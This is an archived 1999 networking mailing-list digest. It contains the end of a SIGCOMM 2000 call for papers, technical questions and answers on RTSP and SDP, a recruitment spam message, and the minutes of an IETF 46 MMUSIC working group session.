<a href="http://www.grandhotel.se/eng/index.html">Grand Hotel, Stockholm,
Sweden</a></address></center>

<center>
<address>
<a href="http://www.acm.org/sigcomm/sigcomm2000">http://www.acm.org/sigcomm/sigcomm2000</a></address></center>

<center>
<address>
<a href="mailto:sigcomm2000-info@acm.org">sigcomm2000-info@acm.org</a></address></center>
</ul>

<center><table COLS=2 WIDTH="50%" >
<tr>
<td><b>Paper submission:</b></td>

<td><b>January 28, 2000</b></td>
</tr>

<tr>
<td><b>Tutorial proposals:</b></td>

<td><b>February 28, 2000</b></td>
</tr>

<tr>
<td><b>Paper acceptance:</b></td>

<td><b>April 21, 2000</b></td>
</tr>
</table></center>

<ul>
<center>
<address>
<font size=+1>Sponsored by Ericsson, Sprint, and Telia</font></address></center>

<p><br>Click here for:
<ul>
<li>
<a href="http://www.acm.org/sigcomm/sigcomm2000">Conference URL (http://www.acm.org/sigcomm/sigcomm2000)</a></li>

<li>
<a href="#Submission">Submission Instructions</a></li>

<li>
<a href="#Tutorials">Tutorials</a></li>

<li>
<a href="#Student">Student Paper Award</a></li>

<li>
<a href="#Award">Sigcomm Award</a></li>

<li>
<a href="#Committee">Conference Committee</a></li>

<li>
<a href="mailto:sigcomm2000-info@acm.org">information via e-mail (sigcomm2000-info@acm.org)</a></li>
</ul>
</ul>
The SIGCOMM 2000 conference seeks papers describing significant research
contributions to the field of computer and data communication networks.
Authors are invited to submit full papers concerned with both theory and
practice. Areas of interest include, but are not limited to:
<ul>
<li>
Distributed application networking infrastructure.</li>

<li>
Distributed common application services, middleware protocols, and signaling.</li>

<li>
Routing, switching, and addressing.</li>

<li>
Resource sharing, quality of service, multimedia networks, and OS support.</li>

<li>
Multimedia networking.</li>

<li>
Networking aspects of the WWW.</li>

<li>
Heterogeneous internetworking, large-scale networks.</li>

<li>
Network management.</li>

<li>
Active network architectures and protocols.</li>

<li>
Important experimental results from operational networks and lessons learned
from prototype implementations.</li>

<li>
Wireless networking and support for nomadic computing.</li>

<li>
Analysis and design of computer network architectures and algorithms.</li>
</ul>
SIGCOMM 2000 is a single-track, highly selective conference at which successful
submissions typically report results firmly substantiated by experiment,
implementation, simulation, or mathematical analysis.In addition to the
technical program (paper presentations), SIGCOMM 2000 will offer tutorials
by noted instructors on the two days preceding the actual conference, and
a session during the conference at which speakers may present speculative
results and outrageous opinions.
<h2>
<a NAME="Submission"></a>Submission Instructions:</h2>
Papers must be less than 20 double-spaced pages long (formatted for printing
in the Proceedings, papers may not be longer than 12 pages), have an abstract
of 100-150 words, and be original material that has
<br>not been previously published nor is currently under review by another
conference or journal.
<p>Authors must submit papers electronically, using the instructions at
<a href="http://www.acm.org/sigcomm/sigcomm2000/submit">http://www.acm.org/sigcomm/sigcomm2000/submit</a>.
Authors not able to comply with these instructions should <a href="mailto:cdiot@sprintlabs.com,kurose@cs.umass.edu">contact
the Program Co-Chairs</a>, or send mail to <a href="mailto:sigcomm2000-info@acm.org">sigcomm2000-info@acm.org</a>
for more information.&nbsp; Papers submitted after the deadline will not
be considered without an ahead-of-time extension from the Program Co-Chairs.
<p>All submitted papers will be judged based on their quality and relevance
through double-blind reviewing, where the identities of the authors are
withheld from the reviewers. Consult the on-line submission instructions
for information on preparing a manuscript for double-blind review.&nbsp;
Authors of accepted papers will need to sign an ACM copyright release form
and present their paper at the conference. The Proceedings of the conference
will be published as a special issue of ACM SIGCOMM Computer Communication
Review. The Program Committee may also select a few papers for possible
publication in the IEEE/ACM Transactions on Networking. Electronic copies
of the accepted papers will be published on the SIGCOMM 2000 web site prior
to the conference unless authors specifically request that this not be
done.
<h2>
<a NAME="Tutorials"></a>Tutorials:</h2>

<dl>SIGCOMM 2000 will begin with two days of full-day and half-day tutorials
covering single topics in detail, at both the introductory or advanced
level. Individuals interested in submitting tutorial proposals are encouraged
to contact the Tutorial Chair before the deadline to discuss the proposed
content.</dl>

<h2>
<a NAME="Student"></a>Student Paper Award:</h2>
Papers submitted by students may be considered for a student-paper award,
which includes full conference registration and a partial travel grant.
To be eligible, the student must be the sole author of
<br>the paper, or the first author and primary contributor. A cover letter
or email to the Program Chairs must identify the paper as a candidate for
this competition.
<h2>
<a NAME="Award"></a>SIGCOMM Award:</h2>
The keynote speaker at SIGCOMM 2000 will be the 2000 winner of the ACM
SIGCOMM Award for lifetime contributions to the field of computer communication.
Procedures for nominating candidates for the SIGCOMM Award can be obtained
from Craig Partridge (<a href="mailto:craig@bbn.com">craig@bbn.com</a>).
<br>&nbsp;
<h2>
<a NAME="Committee"></a>Conference Committee:</h2>

<dl>
<h3>
General Co-Chairs</h3>
</dl>

<center><table COLS=2 WIDTH="75%" >
<tr>
<td>
<address>
Per Gunningberg</address>

<address>
Uppsala U., Sweden</address>

<address>
<a href="mailto:perg@docs.uu.se">perg@docs.uu.se</a></address>

<address>
+46 18 471 3171</address>
</td>

<td>
<address>
Steve Pink</address>

<address>
Lule&aring; U. Tech., Sweden</address>

<address>
<a href="mailto:steve@cdt.luth.se">steve@cdt.luth.se</a></address>

<address>
+46 920 72529</address>
</td>
</tr>
</table></center>

<dl>
<h3>
Program Co-Chairs</h3>
</dl>

<center><table COLS=2 WIDTH="75%" >
<tr>
<td>
<address>
Christophe Diot</address>

<address>
Sprint ATL, USA</address>

<address>
<a href="mailto:cdiot@sprintlabs.com">cdiot@sprintlabs.com</a></address>

<address>
+1 650 375-4539</address>
</td>

<td>
<address>
Jim Kurose</address>

<address>
U. Massachusetts, USA</address>

<address>
<a href="mailto:kurose@cs.umass.edu">kurose@cs.umass.edu</a></address>

<address>
+1 413 545-2742</address>
</td>
</tr>
</table></center>

<dl>
<h3>
Publicity Chair</h3>
</dl>

<center><table COLS=1 WIDTH="75%" >
<tr>
<td>
<address>
Joe Touch</address>

<address>
USC/ISI, USA</address>

<address>
<a href="mailto:touch@isi.edu">touch@isi.edu</a> (also <a href="mailto:sigcomm2000-info@acm.org">sigcomm2000-info@acm.org</a>)</address>

<br>+1 310 448-9151</td>
</tr>
</table></center>

<dl>
<h3>
Local Arrangements Co-Chairs</h3>
</dl>

<center><table COLS=2 WIDTH="75%" >
<tr>
<td>
<address>
Bengt &Aring;hlgren</address>

<address>
SICS, Sweden</address>

<address>
<a href="mailto:Bengt.Ahlgren@sics.se">Bengt.Ahlgren@sics.se</a></address>

<address>
+46 8 633 1562</address>
</td>

<td>
<address>
Christian Tschudin</address>

<address>
Uppsala U, Sweden</address>

<address>
<a href="mailto:tschudin@docs.uu.se">tschudin@docs.uu.se</a></address>

<address>
+46 18 471 1066</address>
</td>
</tr>
</table></center>

<h3>
Tutorials Chair</h3>

<center><table COLS=1 WIDTH="75%" >
<tr>
<td>
<address>
Steve Pink</address>

<address>
Lule&aring; U. Tech., Sweden</address>

<address>
<a href="mailto:steve@cdt.luth.se">steve@cdt.luth.se</a></address>

<address>
+46 920 72529</address>
</td>
</tr>
</table></center>

<br>&nbsp;
</body>
</html>

--------------F90EB79E2531E0F3907217D3--


From confctrl-owner  Thu Dec  9 04:59:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA26158
	for confctrl-outgoing; Thu, 9 Dec 1999 04:59:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA26153
	for <confctrl@zephyr.isi.edu>; Thu, 9 Dec 1999 04:59:28 -0800 (PST)
Received: from samar.sasi.com (sasi.com [164.164.56.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA03295
	for <confctrl@ISI.EDU>; Thu, 9 Dec 1999 04:59:15 -0800 (PST)
Received: from sung17.sasi.com (sung17.sasi.com [10.0.64.17])
	by samar.sasi.com (8.9.3/8.9.3) with ESMTP id SAA14113
	for <confctrl@ISI.EDU>; Thu, 9 Dec 1999 18:29:57 +0530 (IST)
Received: from sasi.com (pcg127.sasi.com [10.0.64.127])
	by sung17.sasi.com (8.9.3/8.9.3) with ESMTP id SAA17158
	for <confctrl@ISI.EDU>; Thu, 9 Dec 1999 18:29:56 +0530 (IST)
Message-ID: <384FA7C8.172A9D25@sasi.com>
Date: Thu, 09 Dec 1999 18:29:52 +0530
From: "Anil . H" <anilh@sasi.com>
Reply-To: anilh@sasi.com
X-Mailer: Mozilla 4.5 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Some Questions regarding RTSP
References: <384DE8DF.FF5E6FB0@sasi.com> <384E998C.168CEA95@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

1.I would like to know if the state information in RTSP is maintained by the
application since the protocol by itself does not carry state information.

2.Since there is no exchange of any state information between the client and
server, why do both need to maintain states?


Regards,
Anil



From confctrl-owner  Thu Dec  9 13:33:15 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA23326
	for confctrl-outgoing; Thu, 9 Dec 1999 13:33:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA23321
	for <confctrl@zephyr.isi.edu>; Thu, 9 Dec 1999 13:33:14 -0800 (PST)
Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA02841
	for <confctrl@isi.edu>; Thu, 9 Dec 1999 13:33:05 -0800 (PST)
From: bill@saphrcompany.com
Received: from default (client-151-197-34-91.bellatlantic.net [151.197.34.91])
	by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with SMTP id QAA12910
	for confctrl@isi.edu; Thu, 9 Dec 1999 16:31:00 -0500 (EST)
Date: Thu, 9 Dec 1999 16:31:00 -0500 (EST)
Message-Id: <199912092131.QAA12910@smtp-out1.bellatlantic.net>
To: <confctrl@ISI.EDU>
Subject: SAP HR Consultants Available
MIME-Version: 1.0
Content-Type: text/plain; charset=unknown-8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


****************************************************
If you have received this message in error, please 
reply with the word REMOVE in the subject. 
****************************************************

INTERNATIONAL SYSTEMS SOLUTIONS
A  SAP "HUMAN RESOURCE MODULE" CONSULTING COMPANY

  Our updated availability list is presented below.
If you would to like to review any of the resumes
you can visit our homepage directly at www.isssap.com

"HUMAN RESOURCE MODULE" FUNCTIONAL CONSULTANTS AVAILABLE:
 
SAP HR Functional Consultant #1791
2 1/2 yrs exp-OM,SCM,EMP,BEN,APP,PAY,INT
 
SAP HR Functional Consultant #1807
2 yrs exp-OM,BEN,TIM,PAY,PTX,INT  
                                       
SAP HR Functional Consultant #1827
2 1/2 yrsexp-OM,EMP,BEN,TIM,INW,TRV
PAY,PTX,INT 
  
SAP HR Functional Consultant #1835
3 yrs exp-OM,SCM,EMP,BEN,TIM,INW
PAY,PTX,INT 
 
SAP HR Functional Consultant #1843
3 yrs exp-OM,BEN,TIM,PAY,PTX

SAP HR Functional Consultant #1849
3 yrs exp-OM,EMP,BEN,APP,TIM,INW,TRV,
PAY,PTX,INT 

SAP HR Functional Consultant #1861
3 yrs exp-OM,SCM,EMP,BEN,TIM,APP
 
SAP HR Functional Consultant #1867 
3 yrs exp-OM,SCM,EMP,BEN,TIM,APP
PAY
 
SAP HR ABAP CONSULTANTS

SAP HR ABAP Consultant #1850
2 yrs HR ABAP exp 
 
SAP HR ABAP Consultant #1807
2 Yrs HR ABAP exp
 
SAP HR ABAP Consultant #1867
3  Yrs HR ABAP exp
   
SAP HR ABAP Consultant #1827
2 1/2  Yrs HR ABAP exp

SAP HR ABAP Consultant #1805
3  Yrs HR ABAP exp

WILLIAM BLIX - ACCOUNT MANAGER
INTERNATIONAL SYSTEMS SOLUTIONS
A SAP "HUMAN RESOURCE MODULE" COMPANY
PHONE: 610-558-2277
E-MAIL: bill@SAPHRCOMPANY.com







From confctrl-owner  Thu Dec  9 17:34:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA06562
	for confctrl-outgoing; Thu, 9 Dec 1999 17:34:26 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA06557
	for <confctrl@zephyr.isi.edu>; Thu, 9 Dec 1999 17:34:25 -0800 (PST)
Received: from redale.cisco.com (redale.cisco.com [171.71.154.68])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA22304
	for <confctrl@ISI.EDU>; Thu, 9 Dec 1999 17:34:25 -0800 (PST)
Received: from cisco.com (dhcp-171-71-147-126.cisco.com [171.71.147.126]) by redale.cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.6.5) with ESMTP id RAA20081; Thu, 9 Dec 1999 17:33:42 -0800 (PST)
Message-ID: <38505883.A7978DD@cisco.com>
Date: Thu, 09 Dec 1999 17:33:56 -0800
From: Anup Rao <anrao@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.5 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: anilh@sasi.com
CC: confctrl@ISI.EDU
Subject: Re: Some Questions regarding RTSP
References: <384DE8DF.FF5E6FB0@sasi.com> <384E998C.168CEA95@cisco.com> <384FA7C8.172A9D25@sasi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



"Anil . H" wrote:

> Hi,
>
> 1.I would like to know if the state information in RTSP is maintained by the
> application since the protocol by itself does not carry state information.

Yes, it has to be maintained by the application. In most cases, it should be
minimal.

> 2.Since there is no exchange of any state information between the client and
> server, why do both need to maintain states?

You pretty much have the question and answer in the above  sentence.
Depending on the state of a particular stream, certain commands are valid. A
command may have different effect depending on what state it is applied in. So
the server needs to maintain state.
If a client does not keep state, how will it support the UI - how can you "stop"
if you aren't "playing" ?
In addition to stream state, you need to keep some transaction state if you use
RTSP over UDP.

Regards
-Anup.



From confctrl-owner  Fri Dec 10 05:57:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA20168
	for confctrl-outgoing; Fri, 10 Dec 1999 05:57:36 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA20162
	for <confctrl@zephyr.isi.edu>; Fri, 10 Dec 1999 05:57:34 -0800 (PST)
Received: from samar.sasi.com (sasi.com [164.164.56.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA29339
	for <confctrl@ISI.EDU>; Fri, 10 Dec 1999 05:57:32 -0800 (PST)
Received: from samar (samar.sasi.com [164.164.56.2])
	by samar.sasi.com (8.9.3/8.9.3) with SMTP id TAA10671
	for <confctrl@ISI.EDU>; Fri, 10 Dec 1999 19:28:20 +0530 (IST)
Received: from sung17.sasi.com ([10.0.64.17]) by samar.sasi.com; Fri, 10 Dec 1999 19:28:19 +0000 (IST)
Received: from sasi.com (pcg127.sasi.com [10.0.64.127])
	by sung17.sasi.com (8.9.3/8.9.3) with ESMTP id TAA22888
	for <confctrl@ISI.EDU>; Fri, 10 Dec 1999 19:28:18 +0530 (IST)
Message-ID: <385106FA.8CCE9552@sasi.com>
Date: Fri, 10 Dec 1999 19:28:18 +0530
From: "Anil . H" <anilh@sasi.com>
Reply-To: anilh@sasi.com
X-Mailer: Mozilla 4.5 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Any working implementations of RTSP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Where can i find Working implementations(open source) of the RTSP
protocol. I downloaded the sample implementation from real.com site but
I am facing lot of problems to get it working. Can anyone pls suggest
some sites.

Regards
Anil


From confctrl-owner  Mon Dec 13 09:26:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA09025
	for confctrl-outgoing; Mon, 13 Dec 1999 09:26:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA09020
	for <confctrl@zephyr.isi.edu>; Mon, 13 Dec 1999 09:26:26 -0800 (PST)
Received: from wodc7mr3.ffx.ops.us.uu.net (wodc7mr3.ffx.ops.us.uu.net [192.48.96.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA27655
	for <confctrl@isi.edu>; Mon, 13 Dec 1999 09:26:28 -0800 (PST)
Received: from dynamic.dynamicsoft.com by wodc7mr3.ffx.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.72.186.2])
	id QQhtld15925
	for <confctrl@isi.edu>; Mon, 13 Dec 1999 17:24:24 GMT
Received: from dynamicsoft.com (eagle.dynamicsoft.com [63.72.186.56])
	by dynamic.dynamicsoft.com (8.9.3/8.9.3) with ESMTP id MAA03513
	for <confctrl@isi.edu>; Mon, 13 Dec 1999 12:26:26 -0500 (EST)
Message-ID: <38552D88.262EAA08@dynamicsoft.com>
Date: Mon, 13 Dec 1999 12:31:52 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: Dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: [Fwd: Zone adjustment definition in SDP]
Content-Type: multipart/mixed;
 boundary="------------AC0D57288DC0F439787D4001"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------AC0D57288DC0F439787D4001
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

This belongs on confctrl, as its an SDP question, not SIP.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       200 Executive Drive
Chief Scientist                             Suite 120 
dynamicsoft                                 West Orange, NJ 07052
jdrosen@dynamicsoft.com                     FAX:   (732) 741-4778
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com
--------------AC0D57288DC0F439787D4001
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from wodc7mr3.ffx.ops.us.uu.net by wodc7ps1.ffx.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wodc7mr3.ffx.ops.us.uu.net [192.48.96.19])
	id QQhtlc24550;
	Mon, 13 Dec 1999 17:03:09 GMT
Received: from lists.research.bell-labs.com by wodc7mr3.ffx.ops.us.uu.net with ESMTP 
	(peer crosschecked as: paperless.dnrc.bell-labs.com [135.180.161.172])
	id QQhtlc18891;
	Mon, 13 Dec 1999 17:00:39 GMT
Received: by lists.research.bell-labs.com (Postfix)
	id DC19C52EB; Mon, 13 Dec 1999 12:01:21 -0500 (EST)
Delivered-To: sip-outgoing-local@paperless.dnrc.bell-labs.com
Received: by lists.research.bell-labs.com (Postfix, from userid 20006)
	id 522AB52EE; Mon, 13 Dec 1999 12:01:21 -0500 (EST)
Delivered-To: sip-local@paperless.dnrc.bell-labs.com
Received: from grubby.research.bell-labs.com (grubby.research.bell-labs.com [135.104.2.9])
	by lists.research.bell-labs.com (Postfix) with SMTP id 42BAC52EB
	for <sip@lists.research.bell-labs.com>; Mon, 13 Dec 1999 12:01:04 -0500 (EST)
Received: from dusty.research.bell-labs.com ([135.104.2.7]) by grubby; Mon Dec 13 12:00:13 EST 1999
Received: from tapti.hss.hns.com ([139.85.242.19]) by dusty; Mon Dec 13 11:58:39 EST 1999
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.22])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id XAA02731
	for <sip@lists.research.bell-labs.com>; Mon, 13 Dec 1999 23:11:43 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA Internal build v4.6.2  (651.2 6-10-1998))  id 65256846.005D39C0 ; Mon, 13 Dec 1999 22:28:16 +0530
X-Lotus-FromDomain: HSSBLR
From: archow@hss.hns.com
To: sip@lists.research.bell-labs.com
Message-ID: <65256846.005D3878.00@sampark.hss.hns.com>
Date: Mon, 13 Dec 1999 22:28:12 +0530
Subject: Zone adjustment definition in SDP
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-sip@lists.research.bell-labs.com
Precedence: bulk
X-Mozilla-Status2: 00000000



hi,
sorry for the SDP related question in SIP but here goes anyway:
SDP seems to have a field
z=
for zone (in lots of para texts in 2327)

However the SDP grammar (Appendix A)
does not seem to define any z=

rather, it says that a zone adj. can occur after t= field
but it doesnt start with z=
however, in the same t= grammar, they say that r= can occur which follow
the <x>=<contents> fornat of each sdp header

 time-fields =         1*( "t=" start-time space stop-time
                         *(CRLF repeat-fields) CRLF)
                         [zone-adjustments CRLF]

zone-adjustments =    time space ["-"] typed-time
                         *(space time space ["-"] typed-time)

So where does z= come in ?
Or is it that there is a z= missing in the grammar above ?

Regds
Arjun
--
Arjun Roychowdhury @ Hughes Software Systems





--------------AC0D57288DC0F439787D4001--


From confctrl-owner  Mon Dec 13 14:07:32 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA25234
	for confctrl-outgoing; Mon, 13 Dec 1999 14:07:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25229
	for <confctrl@zephyr.isi.edu>; Mon, 13 Dec 1999 14:07:31 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA28534
	for <confctrl@isi.edu>; Mon, 13 Dec 1999 14:07:32 -0800 (PST)
Received: from plumps (jo-2.home.informatik.uni-bremen.de [134.102.217.131])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id XAA21791
	for <confctrl@isi.edu>; Mon, 13 Dec 1999 23:08:17 +0100 (MET)
Message-Id: <199912132208.XAA21791@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Mon, 13 Dec 1999 23:06:38 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: MMUSIC minutes
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

attached are the minutes of the MMUSIC WG session in DC.

Joerg

-------------------------------------------------------------------------

Minutes of the MMUSIC WG
========================

46th IETF, Washington, DC

Reported by Joerg Ott
Notes taken by Tom Taylor


The MMUSIC WG met once during the 46th IETF, for a two hour slot.  The
meeting was chaired by Joerg Ott.  Some 150 participants attended the
meeting.

Revised MMUSIC Charter
----------------------

Joerg gave an overview of the tentative new charter of the Working
Group.  He noted that Ruth Lang, Eve Schooler, and Mark Handley have
stepped down as co-chairs and thanked them for the years of great work
together.  Due to the re-organization of MMUSIC, the mailing list and
archive location will change in the next months.

Joerg then discussed the tentative work items for MMUSIC and outlined
a deliverable schedule for the next 12 months to come.  The
development of a capability description framework as successor for the
Session Description Protocol (SDP) will be the most important
short-term work item.  Another new work item will be the design of a
local coordination mechanism for conferencing applications (the
Message Bus).  Further work items include collecting and documenting
existing and emerging extensions to SDP (Session Description
Protocol), documenting current practice SAP (Session Announcement
Protocol) and moving a revised SAP spec ahead to Proposed Standard.
The Real-time Streaming Protocol (RTSP, RFC 2326) will be revisited to
be advanced to Draft Standard or revised as Proposed; a simple
conference control protocol for tightly coupled sessions will be
developed in the long term.  Finally, Joerg announced that a WG Last
Call shall be issued on the IETF Multimedia Conferencing Architecture
I-D shortly after this IETF.

With respect to SAP, an issue was raised whether a local access
protocol to a site central SAP server would be in scope of MMUSIC.  It
was agreed that this is necessary for the specification of a complete
system.  HTTP was suggested as one possibility.  The chair asked for
volunteers to write up a document outlining possible alternatives for
this task so that the working group can review these.

It was also pointed out that, from the experience gained so far with
SDP in the context of the AVT WG, not only extensions but also
corrections may need to be applied to the current SDP spec.  This
discussion was postponed to the capability framework agenda item.

Session Announcement Protocol (SAP) Version 2
---------------------------------------------

Colin Perkins briefly discussed recent work on version 2 of the
Session Announcement Protocol.  Two drafts (02 and 03) have been
submitted since the Oslo meeting.  Draft 02 contains most of the
changes: this draft clarifies the text describing the authentication
procedure and specifies more exactly when session announcements are to
be sent.  Draft 03 has removed the references to directory sessions;
instead, a separate draft will be submitted for the next meeting.
Colin continues to explain the algorithm for calculating the
announcement interval.  It was noted that the RTCP timer
reconsideration algorithms works slightly differently from the one of
SAP and that it may be worthwhile to align SAP here.  This will be
considered further.  Colin pointed out that the current SAP is ready
for WG Last Call for Experimental RFC (rather than standards track
because of the well-known scaling problems).  A successor version of
SAP should then be targeted at Proposed Standard.  WG Last Call was
agreed subject to the change to the reconsideration behavior noted
above.

Session Description Protocol (SDP) and Administrative Scoping
-------------------------------------------------------------

Colin Perkins also introduced extensions to SDP to deal with
administrative scoping.  The problem is that a session description may
contain administratively scoped multicast addresses (which are not
globally unique); in this case, the receiver of an SDP message body
cannot tell from the session description alone whether or not this
address is valid in the particular scope zone.  Colin proposed two
possible solutions: as long as the session is announced with SAP, the
announcement has to use the same scope zone as the session.  If this
is done, then everyone who receives the announcement will also be able
to receive the media streams.  However, Colin points out that relying
on SAP is obviously not always suitable.  An alternative would be to
include a "scope identifier" in the session description.  One
possibility is to include the MZAP scope name (human readable, not
unique though), using the MZAP zone identifier is another (the MZAP
zone identifier is unique but may change over time).  Colin considered
the latter approach to be an acceptable solution for now.

It was discussed whether this is a real issue that needs to be solved
within SDP.  Colin argues that at least for Mbone conferences
(possibly announced on web pages) there is a potential need for such
an attribute.  It is tentatively agreed to inlucde the MZAP zone
identifier in SDP, but investigations will continue.


SIP/SDP Call Setup for Real-time Fax over IP (T.38)
---------------------------------------------------

Glenn Parsons introduced the ITU-T protocol for real-time fax over IP:
T.38 which can be described as demodulated and packetized T.30.  It
does use TCP or UDP (UDP optionally with FEC) for data transport, no
RTP.  Two call signaling protocols are being standardized for T.38:
H.323 (T.38 Annex B and H.323 Annex D) as well as SIP/SDP (to become
T.38 Annex D).  T.38 Annex D uses SIP INVITE for establishing fax-only
and fax/voice calls.  A number of T.38-specific attributes are
proposed to indicate capabilities of fax endpoints such as the maximum
bit rate, MMR and JBIG transcoding, and the use of error correction as
attributes.  Two SDP extensions are to be registered with IANA:
("image/t38") as format type and "TCP" as transport protocol.  For
call signaling, call progress mappings to SIP are being defined as is
DTMF carriage during a call.

Comments are welcome with respect to all of the current work areas.
Glenn noted that ITU-T SG8 plans to approve the document (with SDP
extensions) in its February 2000 meeting.  Sample call flows will be
added as an appendix.  Comments on the work should be sent to the
mailing list, to the chair, or to Glenn and will be summarized and
prepared as input to the ITU-T meeting by January, 19th, 2000.

RTSP-based media control in MPEG-4
----------------------------------

Andrea Basso presented on the issue of MPEG-4 stream control with
RTSP, the aim being to understand how RTSP can be used to control

MPEG-4 streams and which RTSP extensions may be necessary for this
purpose.  The particular issue discussed was how to initially retrieve
a scene description from an RTSP server.  The architecture of MPEG-4
comprises scene descriptions and elementary streams which are linked
by object descriptors.  Object descriptors can vary widely in size
(and pariticularly those belonging to the initial scene description
tend to be large) which raises the issue of reliable delivery from the
media server to the client.  Andrea proposed two possible solutions:
two RTSP DESCRIBE message could be exchanged -- which, however, would
require two round-trips before the description is available to the
client.  It was noted from the audience that both DESCRIBEs could be
sent in a single message (which would require that an implementation
uses the same URL for both, though).  Alternatively, the content-type
multipart (SDP, IOD) could be used to carry both session description
and initial object descriptors in one message (and thus retrieve it in
a single round-trip).  Andrea solicited further feedback/input on
methods for delivering the initial Object Descriptor.

During a short discussion, it was pointed out that similar work has
been presented in MMUSIC before, and the respective presenters agreed
to join their efforts to develop a solution.  An Internet Draft
describing RTSP for MPEG-4 stream control will be made available
within the next two months.  The work is targeted to be completed by
July 2000.

Message Bus for Call Control
----------------------------

Joerg Ott provided an update of the work on the Message Bus: the
transport is deemed stable by now.  An internal interoperability day
in Bremen has led to a number of minor clarifications in the text as
well a few minor technical fixes in the specification and has proven
interoperability of three implementations: one from UCL in C, two from
Bremen (C++ and Java).  An optimization to reduce load is also
included now: Mbus messages targeted at a single recipient may be sent
via unicast (instead of multicast); the decision to use unicast is
taken within the Mbus transport layer implementation and is
transparent to the application.  The revised Internet Drafts for
requirements and transport will be submitted shortly.  The Message Bus
transport Internet Draft is targeted for Proposed Standard.

Joerg also reviewed the concepts for Mbus message semantics and
described the simple command naming scheme allowing for generic as
well as protocol/tool-specific commands to be described without the
risk of name clashes.  He noted that protocol/media and tool-specific
commands are defined for RTP, audio streams, and the Robust Audio Tool
(RAT), respectively.  Then he focused on Mbus commands for call
control presenting a set of elements common to H.323, SIP, and ISDN
and designed to be suitable for building gateways as well.
(Protocol-specific messages are yet to be defined.)  As an example, he
presented a call setup message (conf.call-control.call) along with its
parameters in more detail.  Similar messages are defined for incoming
call, accepting and rejecting calls, redirection, etc. as well as for
event notifications (ringing, accepted, etc.).  Using ladder diagrams
Joerg described sample call flows with Mbus-controlled SIP engines on
both sides of a call.  Further call flows for other scenarios were
shown as well.  He noted that the first revision of the call semantics
Internet Drafts are likely to be targeted for Experimental to gain
more experience before a Standards Track document will be pursued.

